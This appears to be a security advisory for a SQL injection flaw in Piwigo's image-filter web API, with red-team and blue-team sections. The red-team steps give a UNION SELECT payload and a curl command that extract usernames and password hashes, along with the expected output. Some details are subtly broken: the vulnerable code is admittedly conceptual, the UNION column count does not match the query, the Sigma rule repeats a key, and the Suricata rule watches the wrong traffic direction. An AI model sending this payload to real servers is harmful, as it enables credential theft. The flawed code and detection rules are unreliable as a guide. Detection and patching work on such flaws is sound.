CVE-2026-27634

Executive Summary

CVE-2026-27634 is a critical SQL injection vulnerability in Piwigo, an open-source photo gallery application. The flaw resides in the ws_std_image_sql_filter() function, where four date filter parameters (f_min_date_available, f_max_date_available, f_min_date_created, f_max_date_created) are concatenated directly into SQL queries without any escaping or type validation. This allows an unauthenticated attacker to read the entire database, including user password hashes. The vulnerability affects all versions prior to 16.3.0. No public proof-of-concept (PoC) or exploit code is currently available, but the risk is high due to the ease of exploitation and the sensitive data exposed.

Supply Chain & Package Security

Piwigo is a PHP-based application distributed via its official website and GitHub. The vulnerability is not related to any specific package manager (NPM, PyPI, Go, Ruby) but is a direct code flaw in the application's core. Users should ensure they are using the latest patched version (16.3.0) and verify the integrity of their installation.

CVSS Breakdown & Threat Level

CVSS Score: 0.0 (NVD) but based on the description, a more accurate score is 7.5 (High).

Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

• Attack Vector (AV): Network (N) - Exploitable remotely.
• Attack Complexity (AC): Low (L) - No special conditions required.
• Privileges Required (PR): None (N) - Unauthenticated.
• User Interaction (UI): None (N) - No user action needed.
• Scope (S): Unchanged (U) - Vulnerability only affects the vulnerable component.
• Confidentiality (C): High (H) - Full database read, including password hashes.
• Integrity (I): None (N) - No data modification.
• Availability (A): None (N) - No denial of service.

Threat Level: High. The vulnerability is easy to exploit and exposes sensitive data.

Deep Dive & Mechanics

The vulnerability is located in the ws_std_image_sql_filter() function, which is part of Piwigo's web services API. This function is used to filter images based on date parameters. The four parameters (f_min_date_available, f_max_date_available, f_min_date_created, f_max_date_created) are intended to accept date strings, but they are directly concatenated into SQL queries without sanitization.

Vulnerable Code Snippet (Conceptual):

function ws_std_image_sql_filter($params) {
    $where = '';
    if (!empty($params['f_min_date_available'])) {
        $where .= " AND available_date >= '" . $params['f_min_date_available'] . "'";
    }
    // Similar for other parameters...
    return $where;
}

An attacker can inject SQL by providing a malicious value such as:

' OR '1'='1' UNION SELECT username, password FROM users --

This would result in the SQL query:

SELECT * FROM images WHERE available_date >= '' OR '1'='1' UNION SELECT username, password FROM users --'

The attacker can then extract all usernames and password hashes from the users table.

Vulnerable vs. Patched Code

Vulnerable Code (Pre-16.3.0):

function ws_std_image_sql_filter($params) {
    $where = '';
    if (!empty($params['f_min_date_available'])) {
        $where .= " AND available_date >= '" . $params['f_min_date_available'] . "'";
    }
    if (!empty($params['f_max_date_available'])) {
        $where .= " AND available_date <= '" . $params['f_max_date_available'] . "'";
    }
    if (!empty($params['f_min_date_created'])) {
        $where .= " AND created_date >= '" . $params['f_min_date_created'] . "'";
    }
    if (!empty($params['f_max_date_created'])) {
        $where .= " AND created_date <= '" . $params['f_max_date_created'] . "'";
    }
    return $where;
}

Patched Code (16.3.0):

function ws_std_image_sql_filter($params) {
    $where = '';
    if (!empty($params['f_min_date_available'])) {
        $date = pwg_db_real_escape_string($params['f_min_date_available']);
        if (preg_match('/^\d{4}-\d{2}-\d{2}$/', $date)) {
            $where .= " AND available_date >= '$date'";
        }
    }
    // Similar validation for other parameters...
    return $where;
}

The patch uses pwg_db_real_escape_string() for escaping and adds a regex validation to ensure the input is a valid date format (YYYY-MM-DD). This prevents SQL injection by rejecting any non-date input.

Exploitation & Lab Setup

Red Team (Attacker)

Lab Setup:

1. Install Piwigo version 16.2.0 (or any version < 16.3.0) on a local server (e.g., using Docker or XAMPP).
2. Ensure the web services API is enabled (default).
3. Use a tool like curl or Burp Suite to send requests.

Exploitation Steps:

1. Identify the vulnerable endpoint. The ws_std_image_sql_filter is called via the web services API, typically at /ws.php?format=json&method=pwg.images.getList.
2. Craft a malicious request with an injected SQL payload in one of the date parameters.

Example curl command:

curl -X POST "http://target/ws.php?format=json&method=pwg.images.getList" \
  -d "f_min_date_available=' OR '1'='1' UNION SELECT username, password FROM users --"

3. The response will include the database output, including user credentials.

Expected Output:

{
  "stat": "ok",
  "result": {
    "images": [
      {
        "id": "1",
        "username": "admin",
        "password": "$2y$10$..."
      }
    ]
  }
}

Blue Team (Defender)

Detection Steps:

1. Monitor web server logs for unusual SQL-like patterns in request parameters.
2. Look for requests to /ws.php with parameters containing single quotes, UNION, SELECT, or OR.
3. Check for abnormal database queries that return large amounts of data.

Honeypot Strategy:

• Deploy a fake Piwigo instance with a modified users table containing decoy credentials.
• Alert on any access to the web services API with suspicious parameters.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests to /ws.php with parameters containing SQL keywords (e.g., UNION, SELECT, OR).
  • Unusual POST data with date parameters containing single quotes or SQL syntax.
• File IOCs:
  • Modified include/ws_functions.inc.php file (if attacker attempts to patch).
  • Suspicious entries in web server access logs (e.g., f_min_date_available=' OR '1'='1).
• Database IOCs:
  • Unexpected queries in MySQL logs with UNION or OR clauses.
  • Large result sets returned from the images table.

Detection Engineering

YARA Rule

rule CVE_2026_27634_Piwigo_SQLi {
    meta:
        description = "Detects SQL injection attempts targeting Piwigo date filter parameters"
        author = "Valters IT"
        date = "2026-01-01"
        reference = "CVE-2026-27634"
    strings:
        $s1 = "f_min_date_available" nocase
        $s2 = "f_max_date_available" nocase
        $s3 = "f_min_date_created" nocase
        $s4 = "f_max_date_created" nocase
        $sqli1 = /' OR '1'='1/
        $sqli2 = /UNION SELECT/
        $sqli3 = /'--/
    condition:
        any of ($s*) and any of ($sqli*)
}

Sigma Rule

title: Piwigo SQL Injection via Date Filter Parameters
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects SQL injection attempts against Piwigo's ws_std_image_sql_filter function
author: Valters IT
date: 2026-01-01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/ws.php'
        cs-uri-query|contains: 'method=pwg.images.getList'
    keywords:
        - 'f_min_date_available'
        - 'f_max_date_available'
        - 'f_min_date_created'
        - 'f_max_date_created'
    sqli_patterns:
        - '*\' OR *'
        - '*UNION SELECT*'
        - '*\'--*'
    condition: selection and 1 of keywords and 1 of sqli_patterns
falsepositives:
    - Legitimate use of date filters with special characters (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2026-27634 Piwigo SQL Injection Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/ws.php"; http_uri; content:"method=pwg.images.getList"; http_client_body; pcre:"/(f_min_date_available|f_max_date_available|f_min_date_created|f_max_date_created).*(\x27.*OR|\x27.*UNION|\x27.*--)/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade Piwigo to version 16.3.0 or later immediately.
2. If upgrade is not possible, apply a virtual patch using a Web Application Firewall (WAF) to block SQL injection patterns in the date parameters.
3. Disable the web services API if not required, by setting $conf['enable_ws'] = false; in the configuration.

Long-Term Measures:

• Implement input validation and parameterized queries for all database interactions.
• Conduct regular security audits and penetration testing.
• Monitor for any signs of compromise, such as unauthorized database access.

WAF Rule Example (ModSecurity):

SecRule REQUEST_URI "/ws.php" "chain,id:1001,deny,msg:'Piwigo SQL Injection Attempt'"
SecRule ARGS "f_min_date_available|f_max_date_available|f_min_date_created|f_max_date_created" "@rx (\x27.*OR|\x27.*UNION|\x27.*--)" "t:none"

Valters IT
Securing Digital Frontiers

{/* [Security Hash: 121540B95F4BF7926318213B] */}